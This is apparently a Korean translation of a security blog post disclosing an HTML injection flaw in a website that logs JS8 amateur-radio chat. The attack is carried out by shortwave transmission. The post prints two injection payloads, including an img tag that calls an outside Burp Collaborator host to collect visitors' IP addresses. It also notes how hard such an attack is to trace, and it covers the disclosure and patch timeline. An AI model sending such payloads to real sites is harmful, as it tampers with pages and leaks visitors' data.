paint-brush
공중파 공격 - HTML 인젝션을 위협하다~에 의해@jvictors
1,133 판독값
1,133 판독값

공중파 공격 - HTML 인젝션을 위협하다

~에 의해 Jesse Victors7m2023/08/19
Read on Terminal Reader
Read this story w/o Javascript

너무 오래; 읽다

7월 13일에 우리는 흥미로운 취약점을 발견했습니다. 특정 웹페이지는 디지털 라디오 채팅을 추적하고 있었고 방송국이 듣고 있는 내용에 대한 실행 로그를 표시했습니다. 이런 종류의 일에 관심이 있다면 이것은 편리한 도구입니다. 결국, 귀하의 통화가 들리는지 또는 참여하고 싶은 진행 중인 대화가 있는지 아는 것이 좋습니다. 이 도구는 듣는 내용을 모두 캡처하여 웹페이지에 삽입했습니다. 메시지를 보내면 몇 초 후에 메시지가 표시됩니다. 메시지에 HTML이 포함되어 있다면 웹페이지에도 표시될 것입니다. 클래식 HTML 주입.
featured image - 공중파 공격 - HTML 인젝션을 위협하다
Jesse Victors HackerNoon profile picture
0-item

구식 전화 휘파람이 돌아 왔습니다!


글쎄요, 하지만 아래 오디오는 그다지 멀지 않습니다.


7월 13일에 우리는 흥미로운 취약점을 발견했습니다. 특정 웹페이지는 디지털 라디오 채팅을 추적하고 있었고 방송국이 듣고 있는 내용에 대한 실행 로그를 표시했습니다. 이런 종류의 일에 관심이 있다면 이것은 편리한 도구입니다. 결국, 귀하의 통화가 청취되고 있는지 또는 참여하고 싶은 진행 중인 대화가 있는지 아는 것이 좋습니다. 이 도구는 듣는 내용을 모두 캡처하여 웹페이지에 삽입했습니다. 메시지를 보내면 몇 초 후에 메시지가 표시됩니다. 메시지에 HTML이 포함되어 있다면 웹페이지에도 표시될 것입니다. 클래식 HTML 주입.


그러면 이것이 어떻게 작동하나요?

이와 같은 공격을 수행하려면 실제로 인터넷이 전혀 필요하지 않습니다. 단지 긴 전선만 있으면 됩니다. 2023년 2월에 출판된 Attacks Over the Air 시리즈에서 우리는 913MHz에서 작동하는 컨트롤러를 사용하는 농구 점수판에서 나타나는 무선 문제에 대해 논의했습니다. 이 게시물에서 우리는 주파수를 훨씬 낮추어 단파 라디오 대역으로 이동하겠습니다. 이 공격은 7.078 및 14.078MHz에서 작동합니다.


여기에는 흥미로운 디지털 신호가 많이 있으며 JS8은 그중 하나입니다. JS8은 아마추어 라디오를 위한 인기 있는 키보드 간 채팅 도구입니다. 장거리 및 매우 열악한 연결 상태에서도 직접 대화를 가능하게 하는 데 절대적으로 뛰어납니다. JS8 자체는 서로 거의 들을 수 없는 스테이션 간에 간단한 연결을 만드는 데 매우 널리 사용되는 도구인 FT8을 기반으로 합니다. 밤낮으로 FT8과 JS8이 계속해서 사용되고 있습니다.


(지난 24시간 동안의 14.078MHz JS8 트래픽)


단파 대역의 신호에 몇 가지 이상한 일이 발생합니다. 우리보다 100마일 상공에서 지구 전리층의 E층과 F층이 무선 신호를 다시 땅으로 반사하기 시작할 정도로 낮은 주파수입니다. 신호는 마치 물에서 돌을 건너뛰는 것처럼 지구와 지면 사이를 여러 번 튕겨냅니다. 이를 통해 우리는 밤에 지구 반대편에 있는 상업용 AM 방송국을 들을 수 있습니다. 낮에는 이 바운스가 더 높은 주파수에서도 작동하여 먼 거리에서 통신이 가능합니다. 내 뒷마당 송신기와 웹사이트 방송국은 674마일 떨어져 있습니다. 한 번의 바운스가 그 거리를 쉽게 커버합니다.

그렇다면 단파 신호로 웹사이트를 어떻게 공격합니까?

JS8 메시지는 모두 대문자인 ASCII 텍스트로 구성됩니다. 대부분의 메시지는 Skywarn, JS8Chess 또는 모든 사람을 참조하기 위해 간단히 ALLCALL과 같은 광범위한 그룹으로 전송됩니다. 그 다음에는 메시지가 무엇이든 될 수 있습니다. 먼저 편집기에서 HTML 페이로드를 구축합니다. 식별을 위해 아마추어 무선 호출 신호를 합법적으로 제공해야 하며(실제 공격자는 이 단계를 무시함) 최종 메시지는 다음과 같습니다.


KJ7YLS: @TEST <DIV STYLE="WIDTH: 500PX;HEIGHT:100PX;COLOR:RED;">HTML 삽입!</DIV>

이제 전송할 준비가 되었습니다. JS8 소프트웨어는 이 텍스트를 바이너리로 변환하고 순방향 오류 수정을 추가하며 GFSK(Gaussian Frequency Shift Keying)를 사용하여 결과를 변조합니다. 최종 제품에서는 이상한 휘파람 소리처럼 들립니다. Audacity를 사용하여 사운드를 열고 스펙트로그램을 열면 다음과 같습니다.



자세히 살펴보면 GFSK 변조가 한 주파수에서 다른 주파수로 천천히 전환되는 것을 볼 수 있습니다. 또한 특정 시간 동안 각 주파수에서 유지됩니다. 여기에는 8개의 서로 다른 주파수가 사용되므로 각 기호에는 8개의 서로 다른 상태가 있습니다. 결과적으로 각 기호는 한 번에 3비트를 전달할 수 있습니다. 이는 일부 레이블로 설명됩니다.



그런 다음 휘파람 소리를 무선 송신기의 마이크로 보낼 수 있습니다. 대부분의 아마추어 및 군용 신호와 마찬가지로 오디오는 AM 방송 유형 신호의 일부인 상위 측파대 변조를 사용하여 전달됩니다. JS8 메시지는 여러 주파수에서 표준화되어 있으며 대상은 7.078MHz 및 14.078MHz에서 수신합니다. 우리는 라디오를 두 주파수 중 하나로 조정하고 20와트의 전력을 사용하여 공중에서 약 30피트 떨어진 16AWG 전선으로 오디오를 보냅니다. 신호는 공기 중으로 방출되어 전리층에서 반사되어 안테나가 이를 수신합니다. JS8 소프트웨어는 프로세스를 거꾸로 진행하고 ASCII 메시지를 가져옵니다. 우리가 문제를 보는 것은 바로 이 지점이다.

웹사이트(저작자를 고려하여 이 기사에서는 링크가 공개되지 않음)는 JS8 트래픽을 기록합니다. 내부적으로는 JS8 소프트웨어의 API와 직접 통신하는 유용한 Python 도구인 JS8Net 으로 구동됩니다. 저장소에서 monitor.py 스크립트는 JS8 메시지를 가져와 웹 사이트에 배치합니다. 이 글을 쓰는 시점에는 859행에 다음 코드 줄이 포함되어 있습니다.


 # Text j['text']=j['stuff']['params']['TEXT'] key=str(j['stuff']['time']) j['id']=':'.join([fmcall,tocall,key,str(j['freq'])]) traffic[key]=json.dumps(j)


j['stuff']['params']['TEXT'] 는 JS8 소프트웨어의 API에서 가져오는 Collector.py 에서 가져온 ASCII JS8 메시지입니다. 이 단계 후에는 Javascript를 사용하여 트래픽[키] 의 텍스트가 페이지에 배치됩니다. 이 단계는 괜찮습니다. 이 문제는 JS8 소프트웨어에 의해 이미 완전히 처리된 JS8 트래픽이 준비가 되어 있고 웹 페이지의 컨텍스트에 영향을 미치지 않을 것이라는 가정이 있기 때문에 컨텍스트 변경에서 발생합니다. 이것이 우리가 악용할 수 있는 동작입니다.


처음부터 끝까지 우리의 공격은 다음과 같습니다.


몇 분 후, 우리의 메시지가 웹사이트에 기록되었습니다...


최종 결과는 대부분 화장품입니다. 이 페이지는 공개 페이지이므로 훔치거나 스푸핑할 수 있는 세션 쿠키가 없습니다. Stored XSS도 실제로 가능하지만 아침에 시간이 많이 걸리는 페이로드를 많이 보낸 후(각 JS8 메시지를 보내는 데 몇 분이 소요됨) 페이지에서 실행될 작동하는 Javascript를 얻을 수 없었습니다. 나는 JS8net 소프트웨어가 실수로 많은 주요 문자와 단어를 차단했고 우리의 해결 방법이 실행되지 않은 것 같다고 생각합니다.


그럼에도 불구하고 여기서는 Burp Suite가 유용했습니다. 전리층은 그날 협력적이었고 신호가 꽤 잘 튀었습니다. 다른 도구를 통해 다른 나라의 방송국이 미국의 JS8 트래픽을 듣고 있다는 것을 알았습니다. 그래서 내 다음 페이로드는

KJ7YLS: @ALLCALL <img src="http://727k2w1hfoamqewpm7rpiocu0l6cu2ir.oastify.com" alt="@HB DN13">

이 URL은 대역 외 정보 유출을 찾기 위해 침투 테스트 중에 자주 사용하는 Burp Suite의 Collaborator 도구에서 실행되는 DNS 및 HTTP 수신기를 가리킵니다. 이것도 다르지 않았습니다. 몇 분 안에 칠레 페이지를 방문하는 사용자의 DNS 및 HTTP 트래픽이 Collaborator Server에 의해 기록되었습니다. 또한 주사를 검사하기 위해 페이지를 보았고 기록도 기록되었습니다.


이것은 제가 주사를 윤리적으로 사용하고 싶은 정도였습니다. 저는 문제를 웹사이트 소유자인 Jeff에게 보고하고 해결 방법을 제안했습니다. 그는 다음날 나에게 다시 와서 이렇게 말했습니다.


나는 보안 분야에서 일하고 있지만(베이 지역에 있는 네트워크 보안 회사에서 R&D를 하고 있습니다), 웹 사이트를 해킹하기 위해 라디오를 통해 JS를 제출하는 것은 내 관심에서 완전히 벗어났다는 것을 인정해야 합니다.

패치가 적용되기를 기다리는 동안 JS8Net README의 몇 줄을 생각해 보았습니다.


 It's important to note that this part of the software is still very much in the development stage, and may have critical vulnerabilities that make exposing the exposed services to the open Internet a Very Bad Idea. While it certainly will work, it's intended for protected, internal LAN use at this time.


솔직히 이것은 일반적으로 훌륭한 경고입니다. 특히 진행 중이고 철저하게 테스트되지 않은 프로젝트의 경우 더욱 그렇습니다. 이 시점의 취약점은 "알 수 없음"이지만 작성자는 주로 자신의 소프트웨어에 노출된 리스너 및 API에 대해 생각하고 있었습니다. 그러나 우리는 약간 다른 유형의 문제를 활용했습니다. README에서는 서비스가 LAN 내부에서 실행되어야 하며 이렇게 하면 실제로 HTML 삽입 및 웹 페이지 오염으로부터 다른 사람을 보호할 수 있다고 경고합니다. 그러나 Collaborator 페이로드가 포함된 페이로드는 개인 LAN 내에서 페이지를 보는 모든 사람의 공용 IP 주소도 유출하므로 이를 해결하기가 조금 더 어렵습니다.

간단히 말해서 이것은 인터넷의 웹페이지를 공격하는 무선 신호입니다. 공격자는 인터넷에서 자신의 신원을 숨기기 위해 VPN, Tor 또는 봇넷을 사용할 필요가 없습니다. JS8은 노이즈 플로어(이 레벨에서는 문자 그대로 휘파람 소리를 들을 수 없음)보다 -24dB 낮은 메시지를 추출하는 데 매우 효과적이므로 먼 스테이션에 도달하는 데는 거의 전력이 필요하지 않습니다. 좋은 전리층 조건에서 1와트의 전송 전력은 미국 전역을 횡단하여 이동할 수 있습니다. 공격자는 전 세계 어디에나 있을 수 있습니다. 버스트 메시지만 있으면 방향을 찾는 것도 어려울 수 있습니다. 내 생각엔 이런 식으로 얻을 수 있는 것만큼 추적 불가능에 가깝다고 생각합니다.


타임라인:

  • 7월 13일: 문제를 발견하여 Jeff에게 보고하고 CVE를 위해 MITRE에 적용했습니다.
  • 7월 14일: Jeff가 응답합니다.
  • 7월 22일: Jeff가 Github의 JS8Net에 패치를 적용합니다.
  • 7월 25일: 패치가 웹사이트에 게시됩니다.
  • 8월 18일: 블로그 게시물이 게시되었습니다.